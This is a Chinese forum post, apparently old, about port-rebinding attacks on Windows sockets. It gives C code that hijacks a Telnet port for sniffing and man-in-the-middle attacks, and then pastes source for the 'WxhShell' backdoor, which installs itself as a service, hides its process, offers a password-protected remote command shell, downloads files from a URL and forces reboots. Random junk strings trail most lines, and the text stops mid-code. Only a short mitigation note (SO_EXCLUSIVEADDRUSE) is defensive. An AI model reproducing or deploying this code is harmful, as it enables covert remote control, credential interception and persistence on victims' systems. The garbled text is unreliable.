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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :.Qe=}9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;a3nH  
/8MQqZ C  
  saddr.sin_family = AF_INET; WDGGT .hG  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); T"H )g  
Inc:t_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); W|#ev*'F  
J=X% xb  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rH9}nL  
{&#~t4  
  这意味着什么?意味着可以进行如下的攻击: !ix<|F5  
S@g/Tn  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 NoO+xLHw8  
KF_Wu}q d  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]kkBgjQbS  
, imvA5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "-n%874IT  
ij(4)=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }#G"!/ZA0:  
eAsX?iaH  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 kLVn(dC "  
vif8 {S  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 KKjxg7{K  
+%Y c4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `f+8WPJPZ  
:pDY  
  #include )6>|bmpU  
  #include @qPyrgy  
  #include d%lHa??/ h  
  #include    T]6c9_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [DxefYyI  
  int main() QG|GXp_q`  
  { T1Q sW<*j  
  WORD wVersionRequested; k&A7alw  
  DWORD ret;  oKYhE  
  WSADATA wsaData; d{yIy'+0/  
  BOOL val; D*cyFAF  
  SOCKADDR_IN saddr; x$n~f:1Y  
  SOCKADDR_IN scaddr; 8b(1ut{  
  int err; Pc(n@'m~  
  SOCKET s; {@V3?pG?p  
  SOCKET sc; ~zxwg+:QO  
  int caddsize; (]Ye[j^"7  
  HANDLE mt; 30?LsYXL62  
  DWORD tid;   eOehgU5x  
  wVersionRequested = MAKEWORD( 2, 2 ); V3mjb H>F  
  err = WSAStartup( wVersionRequested, &wsaData ); *`ZB+ \*  
  if ( err != 0 ) { zr.+'  
  printf("error!WSAStartup failed!\n"); ?+n&hHRg  
  return -1; * -KJh_  
  } 5fu+rU-#  
  saddr.sin_family = AF_INET; 7G.o@p6$  
   2f19W# '0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n @ &"+  
EmX>T>~#D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); rFmKmV  
  saddr.sin_port = htons(23); Q(|PZn g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *N-;V|{  
  { _8Nw D_"  
  printf("error!socket failed!\n"); f]tv`<Q7  
  return -1; 7R9nMGJ@  
  } 1BQ0M{&  
  val = TRUE; <0u\dU  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v2hZq-q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *jM_wwG  
  { \3Dk5cSDk+  
  printf("error!setsockopt failed!\n"); <<=e9Lh  
  return -1; *Y85DEA  
  } )jyq{Jb  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; O^9CV*]!n  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 zL:&Q<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5Vp;dc  
?YF${  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 48 W.qzC  
  { h+,'B&=|_  
  ret=GetLastError(); $hkq>i \  
  printf("error!bind failed!\n"); GE1i+.+-.  
  return -1; t})lr\  
  } O: ,$%  
  listen(s,2); gNShOu  
  while(1) yND"bF9  
  { E7Ibp79}N  
  caddsize = sizeof(scaddr); qysTjGwa]  
  //接受连接请求 Kv(z4z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); G&q'#3ieC  
  if(sc!=INVALID_SOCKET) lT8#bA  
  { L}'Yd'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )4l>XlQ&  
  if(mt==NULL) ,7GWB:Sk  
  { wV(AT$  
  printf("Thread Creat Failed!\n"); A)tP()+)  
  break; I>PZYh'.T  
  } ~+yZfOcw  
  } vCw<G6tD  
  CloseHandle(mt); Cyq?5\a  
  } QK)){ cK  
  closesocket(s); 0ZMJ(C  
  WSACleanup(); tz26=8  
  return 0; K]c4"JJ  
  }   0}{'C5  
  DWORD WINAPI ClientThread(LPVOID lpParam) :ygWNK[ 6D  
  { 'JieIKu  
  SOCKET ss = (SOCKET)lpParam; WJ |:kuF  
  SOCKET sc; JK]R*!{n  
  unsigned char buf[4096]; ~C-,G"zw&G  
  SOCKADDR_IN saddr; Z$ p0&~   
  long num; FmEc`N9\v  
  DWORD val; F]UQuOR)  
  DWORD ret; oH^(qZ8W  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }pVTTs`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]mQw,S)/"  
  saddr.sin_family = AF_INET; hfqqQ!,l!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); y}FZD?"  
  saddr.sin_port = htons(23); O}Hf62"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Wy4$*$  
  { ^Dg <Ki  
  printf("error!socket failed!\n"); K*q[(,9  
  return -1; (hB?  
  } Kv37s0|g  
  val = 100; Yw'NX5#)g  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qH> `}/,P  
  { 4[yIOs  
  ret = GetLastError(); LJFG0 W  
  return -1; k|vI<:'p,  
  } F(5hmr  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0p(L'  
  { %' $o"  
  ret = GetLastError(); /J3ZL[o?Q  
  return -1; sa1h%<   
  } )@gZ;`n  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cc}Key@D  
  {  Es5f*P0  
  printf("error!socket connect failed!\n"); : i~W } r  
  closesocket(sc); +k\Uf*wh  
  closesocket(ss); KS}hU~  
  return -1; >j*;vG5T  
  } oVvc?P  
  while(1) mYxyWB  
  { jN31hDg<z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7F^#o-@=J  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {ZU1x C  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Jzkq)]M  
  num = recv(ss,buf,4096,0); 0AK,&nbF  
  if(num>0) g{IF_ 1  
  send(sc,buf,num,0); i;/xK=L  
  else if(num==0) h!rM^  
  break; XV3C`:b  
  num = recv(sc,buf,4096,0); ]rehW}  
  if(num>0) xu5ia|gYz7  
  send(ss,buf,num,0); ({r*=wAP  
  else if(num==0) Y;4!i?el  
  break; fhPkEvJ  
  } 4y:]DC"  
  closesocket(ss); d^03"t0O]  
  closesocket(sc); M<O{O}t<  
  return 0 ; Vd^g9  
  } E 99hlY~1:  
$YxBE`)d-  
(*}yjUYLZ  
========================================================== S$)*&46g  
>Y7a4~ufko  
下边附上一个代码,,WXhSHELL 2H71~~ c  
KmG  
========================================================== ca i <,3H  
~h}Fi  
#include "stdafx.h" %^sTU4D5  
Y8M]Lwj  
#include <stdio.h> &Z(K6U#.  
#include <string.h> -9N@$+T  
#include <windows.h> ]]7 mlQ  
#include <winsock2.h> )?+$x[f!*  
#include <winsvc.h> lC:k7<0Ji  
#include <urlmon.h> {3;AwhN0H  
We0.3aG  
#pragma comment (lib, "Ws2_32.lib") ahx>q  
#pragma comment (lib, "urlmon.lib") {{V8;y  
QaUm1 i#  
#define MAX_USER   100 // 最大客户端连接数 b0 iSn#$  
#define BUF_SOCK   200 // sock buffer #/PAA  
#define KEY_BUFF   255 // 输入 buffer U*90m~)  
BA\/YW @  
#define REBOOT     0   // 重启 SGb;!T *  
#define SHUTDOWN   1   // 关机 5F`;yh+e  
RMMd#/A@}  
#define DEF_PORT   5000 // 监听端口 N0hE4t  
NM ]bgpP  
#define REG_LEN     16   // 注册表键长度 [MuEoWrq(}  
#define SVC_LEN     80   // NT服务名长度 G\|,5HED  
U(~+o  
// 从dll定义API <ZU=6Hq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P[s8JDqu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G)?9.t_Lj-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xsWur(>]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C9p"?vX  
ECv)v  
// wxhshell配置信息 j*~T1i  
struct WSCFG { [M+f-kl  
  int ws_port;         // 监听端口 ^CwR!I.D}4  
  char ws_passstr[REG_LEN]; // 口令 (O0Urm  
  int ws_autoins;       // 安装标记, 1=yes 0=no oK 6(HF'&  
  char ws_regname[REG_LEN]; // 注册表键名 sz9L8f2  
  char ws_svcname[REG_LEN]; // 服务名 t&?i m<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'X shmZ0&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qzb<J=FAU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DTWD |M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y@PI {;!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /x3/Ubmz~x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {Zp\^/  
hYawU@R  
}; Ef<b~E@  
\QmCeB  
// default Wxhshell configuration IIy~[4dW  
struct WSCFG wscfg={DEF_PORT, ~'R(2[L!;  
    "xuhuanlingzhe", zt^48~ry  
    1, RT%pDym\  
    "Wxhshell", SNY~9:;]f  
    "Wxhshell", =y=cW1TG  
            "WxhShell Service", j <o3JV  
    "Wrsky Windows CmdShell Service", QBR=0(giF  
    "Please Input Your Password: ", Rp$}YN  
  1, %vBhLaE  
  "http://www.wrsky.com/wxhshell.exe", `"%T=w  
  "Wxhshell.exe" [Y`,qB<B  
    }; ak:c rrkx  
id$Ul?z8  
// 消息定义模块 NH3cq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *cyeO*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fryJW=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^B+!N;  
char *msg_ws_ext="\n\rExit."; `U2DkY&n  
char *msg_ws_end="\n\rQuit."; Y"KE7>Jf  
char *msg_ws_boot="\n\rReboot..."; fHZTXvxoL  
char *msg_ws_poff="\n\rShutdown..."; @BNEiOAZ#  
char *msg_ws_down="\n\rSave to "; F]9nB3:W  
*3D%<kVl  
char *msg_ws_err="\n\rErr!"; {W##^L~  
char *msg_ws_ok="\n\rOK!"; >CkjUZu]&  
zq%D/H6J,  
char ExeFile[MAX_PATH]; b"TjGE  
int nUser = 0; Wq^qpN)5Y  
HANDLE handles[MAX_USER]; J/3_C6UZ  
int OsIsNt; 6)BR+U  
w4fW<ISg  
SERVICE_STATUS       serviceStatus; b=/curl&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R N@ctRS  
mXXt'_"  
// 函数声明 #0Tq=:AE>  
int Install(void); r#6_]ep}<'  
int Uninstall(void); M'!U<Y -  
int DownloadFile(char *sURL, SOCKET wsh); u!:z.RH8n  
int Boot(int flag); $U/YR&vcw  
void HideProc(void); T\r@5Xv  
int GetOsVer(void); +Y+Y6Ac[}  
int Wxhshell(SOCKET wsl); rLX4jT^  
void TalkWithClient(void *cs); 3 zn W=  
int CmdShell(SOCKET sock); P bQk<"J1  
int StartFromService(void); Vi$-Bw$@  
int StartWxhshell(LPSTR lpCmdLine); -@ZiS^l  
^H6<Km l/V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n>'Kp T9|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \.g\Zib )  
f#Xyoa%  
// 数据结构和表定义 Ldn8  
SERVICE_TABLE_ENTRY DispatchTable[] = uWrQ&}@  
{ D0N9Ksq  
{wscfg.ws_svcname, NTServiceMain}, `N5|Ho*C  
{NULL, NULL} nF5qw>t#  
}; 72veLB  
U!m @DJj  
// 自我安装 m5Tr-w$QY  
int Install(void) PpsIhMq@  
{ ~l2aNVv;  
  char svExeFile[MAX_PATH]; $Q*<96M  
  HKEY key; 'u` .P:u?  
  strcpy(svExeFile,ExeFile); aC< KN:TN6  
Rml2"9"`  
// 如果是win9x系统,修改注册表设为自启动 ?,yj")+  
if(!OsIsNt) { FV,4pi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )3h^Y=43  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c=AOkX3UD  
  RegCloseKey(key); |!F5.%PY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =f(cH152T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W14 Vm(`N  
  RegCloseKey(key); ;us%/kOR  
  return 0; rcGb[=Bf  
    } q:<{% U$  
  } `CeJWL5{  
} q{ /3V  
else { eznypY=  
*SO{\bu  
// 如果是NT以上系统,安装为系统服务 uw},`4`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u=YX9Mo!  
if (schSCManager!=0) F_bF  
{ )(7&X45,k  
  SC_HANDLE schService = CreateService = P   
  ( 7n90f2"m  
  schSCManager, nhN);R~o"1  
  wscfg.ws_svcname, 7u[j/l,  
  wscfg.ws_svcdisp, iKas/8   
  SERVICE_ALL_ACCESS, a" H WGY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \u&_sBLKV  
  SERVICE_AUTO_START, z]3 `*/B  
  SERVICE_ERROR_NORMAL, R1Ye<R!Q  
  svExeFile, xm6EKp:  
  NULL, F:#J:x'  
  NULL, oDcKtB+2  
  NULL, ?:Y#Tbi3  
  NULL, S!{t6'8K  
  NULL 8?Z4-6!{V,  
  ); +w8R!jdA  
  if (schService!=0) rDdzxrKg{  
  { )NR Q2  
  CloseServiceHandle(schService); BA=,7y&;j  
  CloseServiceHandle(schSCManager); ]m#5`zGK1|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4:9KR[y/  
  strcat(svExeFile,wscfg.ws_svcname); A6oq.I0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G Xt4j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uGs; }<<8  
  RegCloseKey(key); Ix|~f1*%  
  return 0; '$ef+@y  
    } qOaQxRYm%Y  
  } 0 'Vg6E]/  
  CloseServiceHandle(schSCManager); s`Cy a`  
} "G:<7oTa  
} %{;Qls%[t  
7E!7"2e a  
return 1; O@iu aeEW  
} M.td^l0  
S^Au#1e   
// 自我卸载 H[b}kZW:a  
int Uninstall(void) c)&>$S8*  
{ `Bn=?9  
  HKEY key; ,^8MB.  
NU (AEfF  
if(!OsIsNt) { BGr.yEy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "g+z !4b#  
  RegDeleteValue(key,wscfg.ws_regname); @u._"/K  
  RegCloseKey(key); *1@:'rJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y qcD-K  
  RegDeleteValue(key,wscfg.ws_regname); MCh#="L2  
  RegCloseKey(key); !6}O.Nu  
  return 0; _8G>&K3T<  
  } E| :!Q8"%w  
} D7"p}PD>~  
} 0Aa`p3.)  
else { 8j1ekv  
NcCvm#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); AnZclqtb  
if (schSCManager!=0) ]S 7^ITn  
{ oVCmI"'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #0;HOeIiH  
  if (schService!=0) ):EBgg4-N  
  { 8[ry |J  
  if(DeleteService(schService)!=0) { 2AVc? 9@  
  CloseServiceHandle(schService); E2B>b[  
  CloseServiceHandle(schSCManager); A"Q@W<.  
  return 0; M2@^bB\J  
  } ~2 u\  
  CloseServiceHandle(schService); hY<{t.ws  
  } ;7Oi!BC  
  CloseServiceHandle(schSCManager); }%n5nLU`  
} d77r9  
} ngi<v6i  
z1,tJH0  
return 1; p$;I'  
} 8O1K[sEjui  
8cHE[I  
// 从指定url下载文件 Hoz56y  
int DownloadFile(char *sURL, SOCKET wsh) P,bd'  
{ 8n4V cu  
  HRESULT hr; \Btk;ivg  
char seps[]= "/"; |dadH7  
char *token; ZEbLL4n  
char *file; jJwkuh8R  
char myURL[MAX_PATH]; MEwdw3  
char myFILE[MAX_PATH]; -T/W:-M(  
,ZI\dtl  
strcpy(myURL,sURL); &d`^ E6#  
  token=strtok(myURL,seps); yZ}d+7T}  
  while(token!=NULL) ^&c$[~W  
  { 1K|@ h&@  
    file=token; Uedvc5><t  
  token=strtok(NULL,seps); ST8!i`Q$  
  } 2pyt&'NJua  
0o&}mKe  
GetCurrentDirectory(MAX_PATH,myFILE); "EftN5?/  
strcat(myFILE, "\\"); Gg0#H^s( (  
strcat(myFILE, file); hhR aJ  
  send(wsh,myFILE,strlen(myFILE),0); :\V,k~asl  
send(wsh,"...",3,0); {w`:KR6o7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _LfHs1g4  
  if(hr==S_OK) CdhSp$>  
return 0; 4?]oV%aP)  
else +AQDD4bu  
return 1; J l7z|QS  
RSWcaATZN  
} !jh%}JJ  
Q2~5"  
// 系统电源模块 Z^tGu7x  
int Boot(int flag) J^H =i)A  
{ + Oobb-v  
  HANDLE hToken; rH}fLu8,;Q  
  TOKEN_PRIVILEGES tkp; @oH[SWx  
U|fTb0fB  
  if(OsIsNt) { a[O6YgO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y' tRANxQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S=R 3"~p  
    tkp.PrivilegeCount = 1; l`rC0kJ]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }]h \/,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %RFYm  
if(flag==REBOOT) { <NQyP{p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0o68rF5^s  
  return 0; F RH&B5w  
} ZC\mxBy  
else { +Hyk'=.W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ],?pe  
  return 0; F_PTMl=Q|J  
} b:B [3|  
  } dF2@q@\.+  
  else { 2YIF=YWO},  
if(flag==REBOOT) { Oc-u=K,B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]%XK)[:5_=  
  return 0; $HRed|*.C  
} |a(Q4 e/,  
else { p+D=}O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i/: 5jI|  
  return 0; DNho%Xk  
} a2 >[0_E  
} B "n`|;r5  
T:#S86m  
return 1; z_)`g`($  
} BQU/QoDY  
#O6 EP#B  
// win9x进程隐藏模块 E(/ sXji!  
void HideProc(void) 3B"7VBK{  
{ FAd``9kRT  
8}K"IW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %LcH>sV  
  if ( hKernel != NULL ) KZ4zF  
  { /yt7#!tm+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fn?VNZ`J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^cb)f_90  
    FreeLibrary(hKernel); 4[_L=zD  
  } 2|s<[V3rP-  
Dpj-{q7C  
return; |=,83,a  
} 9RB`$5F ;  
`+fk`5Y  
// 获取操作系统版本 <hMtE/05B  
int GetOsVer(void) wVQdUtmk  
{ :r^klJ(m  
  OSVERSIONINFO winfo; 2b!j.T#u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;fkSrdj  
  GetVersionEx(&winfo); !3QRzkJX~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'FqEB]gu  
  return 1; /Bm#`?(ia  
  else :F9q>  
  return 0; qdO[d|d  
} m1i4,  
n/?eZx1  
// 客户端句柄模块 fIH#  
int Wxhshell(SOCKET wsl) kLq( !Gs  
{ P!9;} &  
  SOCKET wsh; UIz:=DJ  
  struct sockaddr_in client; '6+Edu~Ho)  
  DWORD myID; j;G[%gi6{  
L2d:.&5  
  while(nUser<MAX_USER) {GK(fBE  
{ PM8Ks?P#u  
  int nSize=sizeof(client); }D Z)W0RDe  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _2#zeT5  
  if(wsh==INVALID_SOCKET) return 1; CQ$::;  
/M]eZ~QKD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sK`< kbj  
if(handles[nUser]==0) >eRZ+|k?N  
  closesocket(wsh); "0b?+ 3_{G  
else )7k&`?Mh  
  nUser++; 76$*1jB  
  } u7n[f@Eg,%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uFC?_q?4\  
NWb} OXK/  
  return 0; p %L1uwLG  
} .hc|t-7f  
?Q;kZmQl  
// 关闭 socket f.J 9) lfb  
void CloseIt(SOCKET wsh) UKOFT6|  
{ qP&byEs"  
closesocket(wsh); !e&rVoA  
nUser--; 2+,5p  
ExitThread(0); |7 ]?>-  
} Yg[ v/[]  
0hFH^2%UY  
// 客户端请求句柄 ^l--zzO 8l  
void TalkWithClient(void *cs) zuk"  
{ cxY$LY!zX  
{s,^b|I2#U  
  SOCKET wsh=(SOCKET)cs; 3IGCl w(  
  char pwd[SVC_LEN]; B>sCP"/uV  
  char cmd[KEY_BUFF]; % Oz$_Xe  
char chr[1]; ^Wif!u/HM  
int i,j; VccM=w% *  
ujiZM  
  while (nUser < MAX_USER) { \QliHm!  
El'yiJ  
if(wscfg.ws_passstr) { 75kKDR}6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xrfPZBLy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h4tC. i~k  
  //ZeroMemory(pwd,KEY_BUFF); | O57N'/  
      i=0; /8=:qIJYA  
  while(i<SVC_LEN) { m5)EQE}gPp  
xLe =d|6  
  // 设置超时 E2Us#a  
  fd_set FdRead; @+iC/  
  struct timeval TimeOut; 4 #aqz9k  
  FD_ZERO(&FdRead); L'13BRu`  
  FD_SET(wsh,&FdRead); &S<? 07Z  
  TimeOut.tv_sec=8; x)j/  
  TimeOut.tv_usec=0; SOhSg]g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6`_!?u7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *e%Dg{_  
M8\G>0Hc6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I<c@uXXV;!  
  pwd=chr[0]; Z "-ntx#  
  if(chr[0]==0xd || chr[0]==0xa) { 4pLQ"&>}80  
  pwd=0; f( ]R/'o  
  break; 4g>1G qv6  
  } jo<>Hc{g>  
  i++; `E{;85bDH  
    } anK[P'Y  
(~=Qufy  
  // 如果是非法用户,关闭 socket SrdE>fNbs  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qo6 1O\qm  
} {-o7w0d_  
^OsA+Ea\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sP9^ IP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B{;11 u  
Rl y jOf{0  
while(1) { l?})_1v,R  
|.y>[+Qb*  
  ZeroMemory(cmd,KEY_BUFF); \nC5 ,Rz  
uFGv%W  
      // 自动支持客户端 telnet标准   W"W@WG9X0  
  j=0; g4zT(,ZY  
  while(j<KEY_BUFF) { }Vs~RJM)}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,D:iQDG^  
  cmd[j]=chr[0]; }/_('q@s\  
  if(chr[0]==0xa || chr[0]==0xd) { o~Bk0V=  
  cmd[j]=0; nsZDZ/jx  
  break; lO551Y^  
  } ''$`;?t>  
  j++; L v  
    } p^p'/$<6_  
2dv|6p  
  // 下载文件 mw:3q6  
  if(strstr(cmd,"http://")) { )W[KD,0+j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QV`X?m  
  if(DownloadFile(cmd,wsh)) OI'uH$y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <FXQxM5"  
  else HT{F$27W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6>@(/mh*  
  } U,oD44  
  else { 4aj[5fhb-  
t9-_a5>E\}  
    switch(cmd[0]) { w~bG<kxP  
  db{NK wpj'  
  // 帮助 j%6|:o3G(  
  case '?': { F6RyOUma  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M /n[&  
    break; d [\>'>  
  } 1j oc<EI  
  // 安装 |M[v493\  
  case 'i': { j)6@q@P/  
    if(Install()) /uy&2l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @#bBs9@gv  
    else [37f#p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =_#ye}E  
    break; &@mvw=d  
    } ZrmnQ  
  // 卸载 {%]NpFg#b  
  case 'r': { ZkJY.H-F  
    if(Uninstall()) &>d:ewM\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $=\oJ-(!@S  
    else @qg0u#k5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~0VwF  
    break; NUi{!<  
    } pKO T  Qf  
  // 显示 wxhshell 所在路径 H j>L>6>  
  case 'p': { d_4n0Kh0  
    char svExeFile[MAX_PATH]; Jm{As*W>  
    strcpy(svExeFile,"\n\r"); I T*fjUY&  
      strcat(svExeFile,ExeFile); N&R '$w  
        send(wsh,svExeFile,strlen(svExeFile),0); '0\0SL  
    break; 5pNvzw  
    } OGSEvfW  
  // 重启 UMHuIA:%U  
  case 'b': { oN1!>S9m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <[ g$N4  
    if(Boot(REBOOT)) kcg)_]~6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wh#_9);  
    else { y>)mSl@1y  
    closesocket(wsh); w3>Y7vxiz`  
    ExitThread(0); *X-~TC0 [  
    } i~v@  
    break; [8V(N2  
    } TE*>a5C|  
  // 关机 -~rr<D\  
  case 'd': { Y\Fuj)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !Szgph"ul  
